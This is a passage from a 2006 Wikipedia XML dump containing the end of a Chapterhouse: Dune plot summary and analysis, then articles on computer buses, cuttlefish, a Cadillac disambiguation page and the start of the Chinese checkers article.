Lucilla's word battles continue for weeks, ending in her death when she reveals to [[Dama]] that although the Bene Gesserit know how to manipulate and control the populace, they practice and believe in democracy. Dama's desire to destroy the sisterhood is redoubled--they teach dangerous knowledge and believe in ridiculous ideas like democracy.

Odrade decides that the task of awakening Teg's human memory is best suited to Duncan Idaho, and so he and Murbella take over Teg's training. It is a job that Duncan excels at, but he is not satisfied with the traditional way of awakening a ghola, remembering the pain he went through to release his own memories. 

Odrade and Tamalane tour Chapter House and visit to [[Sheeana]] to consider promotion. Arriving at the inland sea of Chapter House, Odrade is dismayed to see how small it has become. As she swims, she accepts the ruthlessness of some decisions, and returns to the shore with the decision to accelerate the terraforming by removing the last sea on the planet. 

Arriving at Desert Watch station, Odrade confronts Sheeana as a test of her suitability for promotion. But Odrade is undermined by her lingering affection for Sheeana and so does not force the full truth out of her, but discovers that Duncan and Sheeana have been allied together for some time and have exchanged much information. Sheeana does not reveal that they have been considering the option of reawakening Teg's memory through imprinting, nor does Odrade discover that Sheeana has the keys to the no-ship prison of Duncan. 

While Odrade is away, [[Bellonda]]--a chief advisor to Odrade--decides to get rid of Duncan Idaho, who she believes is too dangerous. However, she underestimates Duncan's capabilities; when she confronts him he protects himself with Teg, since Teg would never serve them after witnessing the murder of his teacher and friend. With his centuries of awareness--his serial lives--Duncan manipulates Bellonda by revealing his genius as a mentat. He chides the sisterhood by focusing on things that they refuse to face, arguing that their emergency plan of Scattering is flawed. Nobody sent to the Scattering has ever returned; ergo they are being trapped. Bellonda leaves realizing not only is Duncan too useful to kill, but that Odrade probably manipulated her into this precise situation. She releases the blocks on Duncan's information flow. &quot;If you have a tool, use it properly,&quot; she admits to herself. 

Odrade's moulding of Scytale continues apace. She points out to him that his dream of Scytale's great revival is fatally flawed, because the Tleilaxu who scattered are no longer true to his beliefs and indeed serve the Matres. Scytale is amazed and terrified when Sheeana arrives with a baby [[Sandworm (Dune)|sandworm]]. The Bene Gesserit now have their long term supply of spice, destroying Scytale's main bargaining card.

Teg is awakened by Sheeana using imprinting techniques at Duncan's suggestion. His mother had implanted in him a resistance to imprinting and so under Sheeana's sensual assault his old conditioning triggers and his memories are awakened. In his awakening he can't help but reveal the new physical abilities given to him by the T-Probe--his torture device in ''Heretics.'' She frees and appoints him again as Bashar of the military forces of the sisterhood for the assault on the Honored Matres.

Finally it is decided that Murbella is ready to become a Reverend Mother. Odrade relaxes the strictures, and for the first time ever a man--Duncan--is allowed to watch a spice ceremony. Duncan is filled with trepidation, firstly because he fears Murbella will not survive the ceremony, and secondly because he wonders whether she will still love him after going through such a life changing experience. Odrade watches with equal trepidation because Murbella is vital to her plan to deal with the Honored Matres and to reform the sisterhood. Odrade believes that the Bene Gesserit made a mistake in fearing emotion, and that in order to evolve the Bene Gesserit must learn to accept emotions. Murbella, Odrade is pleased to find, takes and survives the hard path to becoming a [[Reverend Mother (Dune)|Reverend Mother]].

Murbella goes through a manic phase after becoming a Reverend Mother, and her feelings for Duncan are not the same, a fact that worries Odrade as much as Duncan. Whether it is a temporary effect of the experience or a permanent one is unknown.

===Conclusion===
Odrade calls a Convocation--a meeting of all the Bene Gesserit--announcing her plan to attack the Honored Matres. She tells them that this attack will be led by Teg. She also announces candidates to succeed her as Mother Superior; she will share with Murbella and Sheeana before she leaves. 

Odrade goes to meet the Great Honored Matre with Dortujla, Tamalane and Suipol (an acolyte).  To Odrade's surprise Dama seems negotiative; Odrade wonders whether she was wise to have prearranged the attack. After a while she realizes that Dama intends no reasonable negotiation. 

Under cover of Odrade's diplomacy, the Bene Gesserit forces under Teg attack Gammu with tremendous force. Teg uses his secret ability to see no-ships to secure control of the system. Survivors of the attack flee to Junction, and Teg follows them there and carries all with him. Victory for the Bene Gesserit seems inevitable. In the midst of this battle, the Jews including Rebecca with her precious memories take refuge with the Bene Gesserit fleet.

Logno--chief adviser to Dama--assassinates Dama with poison and assumes control of the Honored Matres. Her first act surprises Odrade greatly--she surrenders to Odrade. Teg arrives, and reports come in. Too late; Odrade and Teg realize they have fallen into a trap, and the Honored Matres use &quot;the Weapon&quot; and turn defeat into victory. Murbella saves as much of the Bene Gesserit force as she can and they begin to withdraw to Chapter House. 

The potential failure of the Bene Gesserit attack was planned for by Odrade, who left Murbella instructions for a last desperate gamble. Murbella pilots a small craft down to the surface, announcing herself as an Honored Matre who has managed to escape the Bene Gesserit in the confusion with all their secrets. She arrives on the planet and immediately announces her intentions by killing an overeager Honored Matre with a blinding speed enhanced by Bene Gesserit training that makes her faster than any Honored Matre before her. 

Murbella is taken to the Great Honored Matre and immediately declares herself hostile. Logno cannot help herself and attacks, Murbella disposes of her and some allies. Odrade is killed in the melee. Murbella shares with Odrade and takes charge of the Honored Matres, who are awed by her physical prowess.

Murbella's ascension to the leadership of the Honored Matres and, by necessity, the Bene Gesserit is not accepted as victory by all the Bene Gesserit. Some feel that she will suborn the spirit of the Bene Gesserit and many worry that her plan of merging the two orders is doomed to failure. Some then decide to escape, notably Sheeana who has a vision of her own. They ask Duncan and Teg whether they wish to join them and they flee Chapterhouse in the giant no-ship, taking also Scytale and the Jews. 

Murbella recognised their plan at the last minute, but is powerless to stop them, realizing at the same time that Duncan's departure solves many problems for her.

==Analysis==
===A proper conclusion to the Dune saga?===
''Chapter House: Dune'' ends on a cliffhanger. What happens to the escaped ship? Does Murbella successfully manage to merge the Honored Matres and Bene Gesserit? What role will Scytale play in the future? What precisely are Duncan Idaho's new powers, or Teg's? How will Teg develop? Who chased the Honored Matres back to the old Empire and what will they do when they get to the Old Empire? What role will the Jews play? Who are the god-like characters in the book's last chapter?

These unanswered questions may be assuaged by some wisdom from [[Dune]]:
:''Arrakis teaches the attitude of the knife&amp;mdash;chopping off what's incomplete and saying: &quot;Now, it's complete because it's ended here.&quot;''
::&amp;mdash;from ''&quot;Collected Sayings of Muad'Dib&quot;'' by the [[Princess Irulan]]

Some readers speculate that Frank Herbert would end the series on a cliffhanger, expousing the philosophy that there is no stopping point to life and that all endings are new beginnings. The lives of our heroes don't end because a book ends, they go on in our imagination.

This ending also fits neatly into the grander scheme of the novels. The survival of humanity has been a question since the beginning of the series; by ''Chapter House: Dune'', the Honored Matres threaten to destroy the known universe, and they in turn appear to be fleeing from some unknown (and greater) power. But Herbert leaves the series with at least two locuses of hope for humanity. First, the warring Bene Gesserit and Honored Matres appear united under Murbella, who has been converted to Bene Gesserit ideals. Second, a small but significant group has set out on their own into the Scattering to develop a new society. Given the scope of Herbert's vision, this ending seems quite appropriate. 

There have also been some hints in the Prelude, written by Brian Herbert and Kevin J. Andersson, that the enemy that drove the Honored Matres back to the Old Empire was the remnants of the Thinking Machines. The Prelude books are, according to Brian, based on notes by Frank Herbert and discussions Brian had with his father. In &quot;Butlerian Jihad&quot; an [[evermind]] overseeing [[Giedi Prime]] sends 5000 deep-space probes, equipped with copies of the evermind, as seeds for new [[Syncronized Worlds]].  Shortly thereafter, human forces arrive and retake the planet, destroying the evermind copy before it was backed-up, thus removing any and all knowledge of the probe/seeds.  One of the probes lands on Arrakis and is promptly swallowed by a sandworm attracted by the vibrations caused by its internal factories.  The fate of the other 4999 are unknown.  It can be postulated that, due to the hazardous nature of deep space and the travel times projected by the evermind, i.e. hundreds to thousands of years, the probes may have suffered a significant failure and attrition rate. 

In &quot;Battle of Corrin&quot; The last evermind sends a copy of itself into deep space where it hopes to be able to rebuild the machine empire, and wait for the humans to arrive. It is unknown if the nascent Synchronized Worlds seeded by the probes intercept this broadcasted update. If they did, however, then the second machine empire would therefore be fully up to date on the course of the Butlerian Jihad.  It is also stated by a Guildsman in &quot;House Corrino&quot;, when they are tossed into deep space, due to activation of shields while folding space, that they must get away fast because there is an &quot;ancient and future enemy&quot; approaching. This could be interpreted as the Thinking machines, the evermind copy sent to establish the &quot;new&quot; empire. They fit in as humanity's ancient enemy, since the Butlerian Jihad, and humanity's future enemy, possibly the one that drove the Honored Matres back.  

However, Brian Herbert states that Frank Herbert left notes for Dune 7, and when Brian Herbert and Kevin Anderson have completed the prequels to Dune, they intend to work on Dune 7. For now, the only officially announced information about Dune 7 is that it will be published in two volumes named ''[[Hunters of Dune]]'' and ''[[Sandworms of Dune]]''. It is not known whether Frank Herbert would have wished this.

===Daniel and Marty===
One of the controversies of Chapterhouse Dune concerns Daniel and Marty, the elderly couple whom Duncan 'sees' in the net. They are [[Face dancers|Face Dancers]] who have somehow become able to break away from &amp;mdash; or at least live independent of &amp;mdash; a Tleilaxu Master; it also appears that they are the final model of Face Dancers that Waff mentioned in passing- Face Dancers who can not only take on the appearance of a person, but their very identity, memories, and skills. Little else is described about them, but much is speculated.
*At one level the old couple could be Frank Herbert and Beverly his wife.  This is a provocative suggestion when it is remembered that Idaho saw them and their &quot;net&quot; and managed to evade them by dumping the memory banks of the no-ship.  In this interpretation, on the very cusp of Frank Herbert's death his own creations &quot;escaped&quot; even the controlling prescience of the author to carve out new lives in the imaginations of readers.
*At another level, they reveal the true insignificance of the Old Empire, by revealing two &quot;godlike&quot; powers who seem beyond human concerns.
*It has also been speculated that they were members of the 'unmovable piece' that Duncan had visions of, and that they were using a new application of Holtzmann's equations to trap people in no-ships, like Duncan and co. or the Bene Gesserit sisters dispatched.
*Speculation: the enemy that drove the Honored Matres out are the face dancers, who have evolved into these 'godlike' figures.

The Honored Matres call the enemy who drove them back to the Old Empire/ Million Worlds the Ones With Many Faces making it seem almost certain that the enemies are Face Dancers. This is in contradiction to the theory that the thinking machines are the enemy. However that theory is suggested by Brian Herbert and Kevin J Anderson making it appear they may decide to include them despite what the original intentions of Frank Herbert may have been

==See also==
*[http://www.iwriteiam.nl/Dune7.html DUNE, 7th book] - detailed and interesting speculation about the seventh book from an analysis of Chapterhouse Dune

[[Category:1985 books]]
[[Category:Frank Herbert novels]]
[[Category:Dune universe media]]

[[es:Casa Capitular Dune]]
[[fr:La Maison des Mères]]</text>
    </revision>
  </page>
  <page>
    <title>Computer bus</title>
    <id>6631</id>
    <revision>
      <id>42022527</id>
      <timestamp>2006-03-03T07:22:31Z</timestamp>
      <contributor>
        <username>Ihatethetv</username>
        <id>1015491</id>
      </contributor>
      <minor />
      <comment>/* Serial + I2C */</comment>
      <text xml:space="preserve">In [[computer architecture]], a '''bus''' is a subsystem that transfers data or power between computer components inside a [[computer]] or between computers.  Unlike a point-to-point connection, a bus can logically connect several [[peripheral]]s over the same set of wires. Each bus defines its set of [[connector]]s to physically plug devices, cards or cables together.

Early computer buses were literally parallel [[electrical bus]]es with multiple connections, but the term is now used for any physical arrangement that provides the same logical functionality as a parallel electrical bus. Modern computer buses can use both parallel and bit-serial connections, and can be wired in either a [[multidrop]] (electrical parallel) or [[daisy chain]] topology, or connected by switched hubs, as in the case of [[Universal Serial Bus|USB]].

== History ==
Early [[computer]] buses were bundles of wire that attached memory and peripherals.  They were named after [[Electrical bus|electrical buses]], or busbars.  Almost always, there was one bus for memory, and another for peripherals, and these were accessed by separate instructions, with completely different timings and protocols.

One of the first complications was the use of [[interrupt]]s.  Early computers performed [[Input/output|I/O]] by waiting in a loop for the peripheral to become ready.  This was a waste of time for programs that had other tasks to do.  Also, if the program attempted to perform those other tasks, it might take too long for the program to check again, resulting in lost data.  Engineers thus arranged for the peripherals to interrupt the CPU.  The interrupts had to be prioritised, because the CPU can only execute code for one peripheral at a time, and some devices are more time-critical than others.

Some time after this, some computers (such as the [[RCA Spectra]], running [[Multics]]) began to share memory between several CPUs.  On these computers, access to the bus had to be prioritised, as well.

The classic, simple way to prioritise interrupts or bus access was with a [[daisy chain]].

[[Digital Equipment Corporation|DEC]] noted that having two buses seemed wasteful and expensive for small, mass-produced computers, and mapped peripherals into the memory bus, so that the devices appeared to be memory locations.  At the time, this was a very daring design.  Cynics predicted failure.

Early [[microcomputer]] bus systems were essentially a passive [[backplane]] connected to the pins of the [[Central processing unit|CPU]]. Memory and other devices would be added to the bus using the same address and data pins as the CPU itself used, connected in parallel. In some instances, such as the [[IBM PC]], instructions still generated signals at the CPU that could be used to implement a true I/O bus.  

In many microcontrollers and [[embedded systems]], an I/O bus still does not exist.  Communication is controlled by the [[Central processing unit|CPU]], which reads and writes data from the devices as if they are blocks of memory (in most cases), all timed by a central clock controlling the speed of the CPU. Devices ask for service by signalling on other CPU pins, typically using some form of [[interrupt]]. 

For instance, a [[disk drive]] controller would signal the CPU that new data was ready to be read, at which point the CPU would move the data by reading the memory that corresponded to the disk drive. Almost all early computers were built in this fashion, starting with the [[S-100 bus]] in the [[Altair 8800|Altair]], and continuing through the [[IBM PC]] in the [[1980s]].

These simple bus systems had a serious drawback for general-purpose computers.  All the equipment on the bus has to talk at the same speed, and thus shares a single clock.

Increasing the speed of the CPU is not a simple matter, because the speed of all the devices must increase as well. This often leads to odd situations where very fast CPUs have to &quot;slow down&quot; in order to talk to other devices in the computer. While acceptable in [[embedded system]]s, this problem was not tolerated for long in commercial computers.

Another problem is that the CPU is required for all operations, so if it becomes busy with other tasks, the real [[throughput]] of the bus could suffer dramatically. 

Such bus systems are difficult to configure when constructed from common off-the-shelf equipment.  Typically each added PC board requires many [[jumper]]s in order to set memory addresses, I/O addresses, interrupt priorities, and interrupt numbers.

&quot;Second generation&quot; bus systems like '''[[NuBus]]''' addressed some of these problems. They typically separated the computer into two &quot;worlds&quot;, the CPU and memory on one side, and the various devices on the other, with a ''bus controller'' in between. This allowed the CPU to increase in speed without affecting the bus. This also moved much of the burden for moving the data out of the CPU and into the cards and controller, so devices on the bus could talk to each other with no CPU intervention. This led to much better &quot;real world&quot; performance, but also required the cards to be much more complex. These buses also often addressed speed issues by being &quot;bigger&quot; in terms of the size of the data path, moving from 8-bit [[parallel bus]]es in the first generation, to 16 or 32-bit in the second, as well as adding software setup (now standardised as [[Plug-n-play]]) to supplant or replace the jumpers.

However these newer systems shared one quality with their earlier cousins, in that everyone on the bus had to talk at the same speed. While the CPU was now insulated and could increase speed without fear, CPUs and memory continued to increase in speed much faster than the buses they talked to. The result was that the bus speeds were now very much slower than what a modern system needed, and the machines were left starved for data. A particularly common example of this problem was that [[video card]]s quickly outran even the newer bus systems like '''[[Peripheral Component Interconnect|PCI]]''', and computers began to include the '''[[AGP]]''' bus just to drive the video card. By [[2004]] AGP was outgrown again by high-end video cards and is being replaced with the new '''[[PCI Express]]''' bus.

An increasing number of external devices started employing their own bus systems as well. When disk drives were first introduced, they would be added to the machine with a card plugged into the bus, which is why computers have so many slots on the bus. But through the [[1980s]] and [[1990s]], new systems like '''[[SCSI]]''' and '''[[Integrated Drive Electronics|IDE]]''' were introduced to serve this need, leaving most slots in modern systems empty. Today there are likely to be about five different buses in the typical machine, supporting various devices.

A useful differentiation then became popular, the concept of the '''local bus''' as opposed to '''external bus'''. The former referred to bus systems that were designed to be used with internal devices, such as graphics cards, and the latter to buses designed to add external devices such as [[image scanner|scanner]]s. Note, though, that &quot;local&quot; also referred to the greater proximity to the processor of VL-Bus and PCI than ISA. IDE is an external bus in terms of how it is used, but is almost always found inside the machine.

&quot;Third generation&quot; buses are now in the process of coming to market, including '''[[HyperTransport]]''' and '''[[InfiniBand]]'''. They typically include features that allow them to run at the very high speeds needed to support memory and video cards, while also supporting lower speeds when talking to slower devices such as disk drives. They also tend to be very flexible in terms of their physical connections, allowing them to be used both as internal buses, as well as connecting different machines together. This can lead to complex problems when trying to service different requests, so much of the work on these systems concerns software design, as opposed to the hardware itself. In general, these third generation buses tend to look more like a [[computer network|network]] than the original concept of a bus, with a higher protocol overhead needed than early systems, while also allowing multiple devices to use the bus at once.

On another track, integrated circuits are increasingly being designed from predesigned logic, &quot;intellectual property.&quot;  Buses such as [[Wishbone (computer bus)|Wishbone]] have been developed to permit devices on integrated circuits to talk to one another.

==Description==
At one time, &quot;bus&quot; meant an electrically parallel system, with electrical conductors similar or identical to the pins on the CPU. This is no longer the case, and modern systems are blurring the lines between buses and networks.

Buses can be [[parallel bus]]es, which carry data words striped across multiple wires, or [[serial bus]]es, which carry data in bit-serial form. The addition of extra power and control connections, differential drivers, and data connections in each direction usually means that most serial buses have more conductors than the minimum of two used in the [[I²C]] serial bus. As data rates increase, the problems of [[timing skew]] and [[crosstalk]] across parallel buses become more and more difficult to circumvent. One partial solution to this problem has been to [[double pumped|double pump]] the bus. Often, a serial bus can actually be operated at higher overall data rates than a parallel bus, despite having fewer electrical connections, because a serial bus inherently has no timing skew or crosstalk.  [[Universal Serial Bus|USB]], [[FireWire]], and [[Serial ATA]] are examples of this.  [[Multidrop]] connections do not work well for fast serial buses, so most modern serial buses use [[daisy-chain]] or hub designs.

Most computers have both internal and external buses.  An ''internal bus'' connects all the internal components of a computer to the motherboard (and thus, the [[Central processing unit|CPU]] and [[internal memory]]). These types of buses are also referred to as a [[local bus]], because they are intended to connect to local devices, not to those in other machines or external to the computer. An ''external bus'' connects external peripherals to the motherboard.

[[computer network|Network]] connections such as [[Ethernet]] are not generally regarded as buses, although the difference is largely conceptual rather than practical. The arrival of technologies such as [[InfiniBand]] and [[HyperTransport]] is further blurring the boundaries between networks and buses. Even the lines between internal and external are sometimes fuzzy, [[I²C]] can be used as both an internal bus, or an external bus (where it is known as [[ACCESS.bus]]), and InfiniBand is intended to replace both internal buses like [[Peripheral Component Interconnect|PCI]] as well as external ones like [[Fibre Channel]].

Modern trends in personal computers, especially laptops, have been moving towards eliminating all external connections except for modem jack, [[Category 5 cable|Cat5]], USB, [[Jack (connector)|headphone jack]], and optional [[VGA]] or FireWire.

==Bus topology==
In a network, the master scheduler controls the data traffic. If data is to be transferred the requesting computer sends a message to the scheduler, which puts the request into a queue. The message contains an identification code which is broadcast to all nodes of the network. The scheduler works out priorities and notifies the receiver as soon as the bus is available.

The identified node takes the message and performs the data transfer between the two computers. Having completed the data transfer the bus becomes free for the next request in the scheduler's queue.

Bus benefit: any computer can be accessed directly and message can be sent in a
relatively simple and fast way.
Disadvantage: needs a scheduler to assign frequencies and priorities to organize the traffic.

See also: [[Bus network]]

== Examples of internal computer buses ==

===Parallel===
* [[Accelerated graphics port]] or AGP (for video cards)
* [[CAMAC]] for instrumentation systems
* [[Extended ISA]] or EISA
* [[Industry Standard Architecture]] or ISA
* [[Low Pin Count]] or LPC
* [[MicroChannel]] or MCA
* [[MBus]] 
* [[Multibus]] for industrial systems
* [[NuBus]] or IEEE 1196
* [[Peripheral Component Interconnect]] or PCI 
* [[S-100 bus]] or IEEE 696, used in the [[Altair]] and similar [[microcomputers]]
* [[SBus]] or IEEE 1496
* [[VESA Local Bus]] or VLB or VL-bus (for video cards)
* [[VMEbus]], the VERSAmodule Eurocard bus
* STD Bus for 8- and 16-bit microprocessor systems

===Serial===
* [[1-Wire]]
* [[HyperTransport]]
* [[I2C|I&lt;sup&gt;2&lt;/sup&gt;C]]
* [[PCI Express]] or PCIe
* [[Serial Peripheral Interface Bus]] or SPI bus

== Examples of external computer buses ==

===Parallel===
* [[Advanced Technology Attachment]] or ATA (aka PATA, IDE, EIDE, ATAPI, etc.) disk/tape peripheral attachment bus&lt;br&gt;(the original ATA is parallel, but see also the recent development ''Serial ATA'', below)
* [[Centronics]] parallel (generally connects single device, occasionally 2 daisy-chained)
* [[HIPPI]] HIgh Performance Parallel Interface
* [[IEEE-488]] (aka GPIB, General-Purpose Instrumentation Bus, and HPIB, Hewlett-Packard Instrumentation Bus)
* [[PCMCIA]], now known as ''PC card'', much used in laptop computers and other portables, but fading with the introduction of USB and built-in network and modem connections.
* [[SCSI]] Small Computer System Interface, disk/tape peripheral attachment bus

===Serial===
* [[ACCESS.bus]] (A.b)
* [[Apple Desktop Bus]] (ADB)
* [[Controller Area Network]] (CAN)
* [[Serial Peripheral Interface]] (SPI)
* [[I²C]]
* [[Fibre Channel]]
* [[FireWire|IEEE 1394]] (FireWire)
* [[RS-485]]
* [[Serial ATA]] or SATA
* [[Serial Storage Architecture]] (SSA)
* [[Universal Serial Bus]] (USB)

===Proprietary===
* Floppy drive connector

== Examples of internal/external computer buses ==
* [[Futurebus]]
* [[InfiniBand]]
* [[QuickRing]]
* [[Scalable Coherent Interconnect|SCI]]

== See also==
*[[Bus contention]]
*[[Front side bus]]

== External links ==
* Chip Weems' [http://www.cs.umass.edu/~weems/CmpSci635/635lecture12.html Lecture 12: Buses]
* http://dmoz.org/Computers/Hardware/Buses/

[[Category:Digital electronics]]
[[Category:Computer buses|*Computer bus]]
[[Category:Motherboard]]

[[bs:Sabirnica]]
[[da:Databus]]
[[de:Bus (Datenverarbeitung)]]
[[es:Bus de datos]]
[[fr:Bus informatique]]
[[gl:Bus]]
[[hr:Sabirnica]]
[[it:Bus]]
[[nl:Databus]]
[[ja:バス (コンピュータ)]]
[[pt:Barramento]]
[[sl:Vodilo]]
[[fi:Väylä]]
[[sv:Buss (elektronisk term)]]
[[tr:Veriyolu]]
[[uk:Шина (ел.)]]
[[zh:总线]]</text>
    </revision>
  </page>
  <page>
    <title>Cuttlefish</title>
    <id>6633</id>
    <revision>
      <id>41522855</id>
      <timestamp>2006-02-27T22:52:04Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Cuttlefish
| image = Georgia Aquarium - Cuttlefish Jan 2006.jpg
| image_width = 250px
| image_caption = Two cuttlefish interacting at the [[Georgia Aquarium]]
| regnum = [[Animal]]ia
| phylum = [[Mollusca]]
| classis = [[Cephalopod]]a
| subclassis = [[Coleoidea]]
| superordo = [[Decapodiformes]]
| ordo = '''Sepiida'''
| ordo_authority = [[Karl Alfred von Zittel|Zittel]], [[1895]]
| subdivision_ranks = [[Family (biology)|Families]]
| subdivision = 
[[Sepiadariidae]]&lt;br&gt;
[[Sepiidae]]
}}

'''Cuttlefish''' are animals of the [[order (biology)|order]] '''Sepiida''', and are [[marine]] [[cephalopod]]s, small relatives of [[squid]]s and [[nautilus]]. 

Cuttlefish have an internal [[Animal shell|shell]], large [[eye]]s, and eight arms and two [[tentacle]]s furnished with denticulated suckers, by means of which it secures its [[prey]]. The name is sometimes applied to [[dibranchiate cephalopod]]s generally. 

Cuttlefish possess an internal structure called the '''cuttlebone''', which is composed of [[calcium carbonate]] and is porous to provide the cuttlefish with [[buoyancy]]. Buoyancy can be regulated — the cuttlefish can even decide to sink — by changing the gas-to-liquid ratio in the chambered cuttlebone. Each species has a distinct shape, size, and pattern of ridges or texture on the &quot;bone&quot;. Cuttlebones are traditionally used by jewellers and silversmiths as moulds for [[casting]] small objects. They are probably better known today as the tough material given to [[parakeet]]s and other cage birds as a bill-sharpener and source of dietary [[calcium]]. 

Cuttlefish are sometimes called the [[chameleon]] of the sea because of their remarkable ability to rapidly alter their [[skin]] color.  Their skin flashes a fast-changing pattern as [[communication]] to other individual of the same species, as well as serving as [[camouflage]] from predators. This color-changing function is produced by groups of red, yellow, brown, and black [[chromatophore]]s above a layer of [[iridophore]]s, and then a layer of leucophores, with up to 200 of these specialized [[pigment]] cells per square millimeter. The chromatophores are a cell with a bag of ink and a large membrane that is folded when retracted. There are 6-20 small muscle cells on the sides which can contract to squash the elastic ink sac into a disc against the skin. Yellow chromatophores are closest to the surface of the skin, red and orange are below, and brown or black are just above the iridophore layer. The iridophores reflect blue and green light. Iridophores are plates of [[chitin]] or [[protein]], which can reflect the environment around a cuttlefish. They are responsible for the metallic blues, greens, golds, and silvers often seen on cuttlefish. All of these cells can be used in combinations. For example: orange would be produced by red and yellow chromatophores, while purple could be created by a red chromatophore and an iridophore. The cuttlefish could also use an iridophore and a yellow chromatophore to produce a brighter green. As well as being able to influence the colour of the light that reflects off their skin, cuttlefish can also effect the light's [[polarisation]], which can be used to signal to other marine animals, many of whom can also sense polarisation.

[[Image:chromatophore.jpg|thumb|A diagram of the European Cuttlefish &quot;Sepia oficinalis&quot; chromatophore]]

Cuttlefish [[eyes]] are among the most developed in the [[animal]] kingdom. They have similar eyes to humans, but the pupil is a smoothly-curving &quot;w&quot; shape. Although they cannot see color, they can perceive the [[polarity]] of light, which essentially enhances their perception of contrast. They have two spots of concentrated sensor cells on their retina (known as [[fovea]]), one to look more forward, and one to look more backwards. The lenses, instead of being reshaped as they are in humans, are instead pulled around by reshaping the entire eye in order to change focus.

The blood of a cuttlefish is green-blue because it uses the [[copper]]-containing [[protein]] [[hemocyanin]] to carry oxygen instead of the red [[iron]]-containing protein [[hemoglobin]] that is found in mammals. The blood is pumped by three separate hearts, two of which are used for pumping blood to the cuttlefish's pair of [[gill]]s (one heart for each gill), and the third for pumping blood around the rest of the body. A cuttlefish's heart must pump a higher blood flow than most other animals because hemocyanin is substantially less capable of carrying oxygen than hemoglobin.

Cuttlefish have [[ink]], like [[squid]]s and [[octopus]]es. This ink was formerly an important [[dye]], called [[sepia]].  Today artificial dyes have replaced natural sepia. Cuttlefish  are caught for food, though squid is more popular.

[[Image:CuttleEye.jpg|thumb|left|An image of a cuttlefish eye]]
Cuttlefish eat small [[mollusc]]s, [[crab]]s, [[shrimp]], [[fish]] and other cuttlefish.  Their [[predator]]s are [[shark]]s, fish, and other cuttlefish.  They live about 1 to 2 years.  

Like [[octopus]]es, cuttlefish have been successfully raised as [[pet]]s in home [[aquarium]]s, though even their bare necessities are significant.  In particular, cuttlefish need a minimum amount of [[sea water]] in proportion to their body size, their tank needs to be cleaned every time they ink, they cannot tolerate abrupt changes in light levels, and they cannot coexist with other animals, and rarely ever with other cuttlefish.  All other animals of comparable or smaller size, including other cuttlefish, are instinctively seen as food.

Domestic cuttlefish are very reminiscent of [[domestic cat]]s, even exhibiting cat-like habits such as resting, pouncing on moving prey, begging owners for food, and even begging for more food than they need or is healthy for them.  Like cats, cuttlefish are not truly [[domestication|tame]], but rather tolerate and cooperate with their owners to live a comfortable life.  But unlike cats, cuttlefish ''will'' try to eat other cuttlefish.

==Classification==
[[Image:Camouflage.jpg|250px|right|thumbnail|An infant cuttlefish protects itself with camouflage]]

There are 119 [[species]] currently recognised, grouped into 5 [[genus|genera]]. [[Sepiadariidae]] contains seven species and 2 genera. All the rest are in [[Sepiidae]].  

*CLASS [[Cephalopoda|CEPHALOPODA]]
**Subclass [[Nautiloidea]]: nautilus
**Subclass [[Coleoidea]]: [[squid]], [[octopus]], [[cuttlefish]]
***Superorder [[Decapodiformes]]
****Order [[Spirulida]]: Ram's Horn Squid
****'''Order Sepiida''': cuttlefish
*****Family [[Sepiadariidae]]
*****Family [[Sepiidae]]
****Order [[Sepiolida]]: bobtail squid
****Order [[Teuthida]]: squid
***Superorder [[Octopodiformes]]

[[Category:Cuttlefish|*]]

[[de:Sepien]]
[[fr:Sepiida]]
[[ko:갑오징어목]]
[[he:דיונון]]
[[nl:Zeekat (inktvis)]]
[[sl:Sipa]]
[[zh:乌贼]]</text>
    </revision>
  </page>
  <page>
    <title>Cadillac (disambiguation)</title>
    <id>6634</id>
    <revision>
      <id>39391806</id>
      <timestamp>2006-02-12T21:36:49Z</timestamp>
      <contributor>
        <username>Ejrrjs</username>
        <id>104704</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Cadillac''', when used alone, can refer to:

*[[Cadillac]], [[General Motors]]' [[luxury car]] brand.
*[[Cadillac, Michigan]]
*Cadillac, [[Quebec]]
*[[Antoine Laumet de La Mothe, sieur de Cadillac]] (1658-1730), for whom the above are named
*[[Cadillac, Gironde|Cadillac]], a [[commune in France|commune]] in the [[Gironde]] ''[[département in France|département]]'', in [[France]]
*[[Cadillac (band)|Cadillac]], a Spanish pop group
*[[Los Fabulosos Cadillacs]], an [[Argentina|Argentine]] latin rock group
*[[The Cadillacs]], an American vocal group
*[[Cadillac]], Plattenladen in Flensburg in den 80ern
*[[Cadillac (game)|Cadillac]], a hackysack game
*[[Cadillac]], nickname of NFL player [[Carnell Williams]]
*[[ Cadillacs]] is the name of a nightclub in Bath, England.
{{disambig}}

[[de:Cadillac (Begriffsklärung)]]
[[fr:Cadillac]]
[[it:Cadillac]]
[[nl:Cadillac]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese checkers</title>
    <id>6635</id>
    <revision>
      <id>41461149</id>
      <timestamp>2006-02-27T14:20:45Z</timestamp>
      <contributor>
        <ip>70.111.251.203</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Chinese_checkers_start.png|thumb|right|200px|Chinese checkers]]
'''Chinese checkers''' is a [[board game]] that can be played by two to six people. The object of the main game is to place one's pieces in the corner opposite their starting position by moving them through jumps over other pieces.  The game does not actually originate from [[China]] (nor is it a variation on [[checkers]] or [[Chinese chess]]), but was given that name in the [[United States]] to make it sound more exotic.  When it was first released in [[Germany]], it was called Stern-Halma, as it is similar to the older game of [[Halma]] except that the board is star (''stern'') shaped.
The Chinese checkers board is laid out in a six-pointed star. The game pieces are usually six sets of colored [[marbles]], ten of each color.  The ten marbles are arranged as a triangle in the starting position in one of the corners of the star.

Two different variations can be played on the game set, &quot;hop across&quot; and &quot;capture&quot;. Each of the games has an original and a fast-paced variant.

== Hop across ==
[[Image:Chinese_checkers_jump.png|thumb|Standard jumps can have multiple hops, but each hop must be directly adjacent.]]
In the &quot;hop across&quot; variation, each player puts his or her own colored marbles on one corner of the star, and attempts to relocate them all to the opposite corner.  Players take turns moving one marble, either a single step or a chain of one or more hops.  A step consists of moving a marble to an adjacent unoccupied space in any of the six directions.  In the diagram at right, Green might move the topmost marble one space down and to the left.  A hop consists of jumping over a single adjacent marble, either one's own or an opponent's, to an unoccupied space directly opposite. In the diagram at right, Red might advance the indicated marble by a chain of three hops in a single move.

The basic strategy is to find the longest hopping path instead of moving step by step.  However, since your opponent or opponents can make use of whatever hopping ladders you create, more advanced strategy requires hindering your opponent as well as helping yourself.  Of equal importance is the players' strategy or algorithm for emptying and filling their origin and destination triangles. Games between experts are rarely decided by more than a couple of moves.
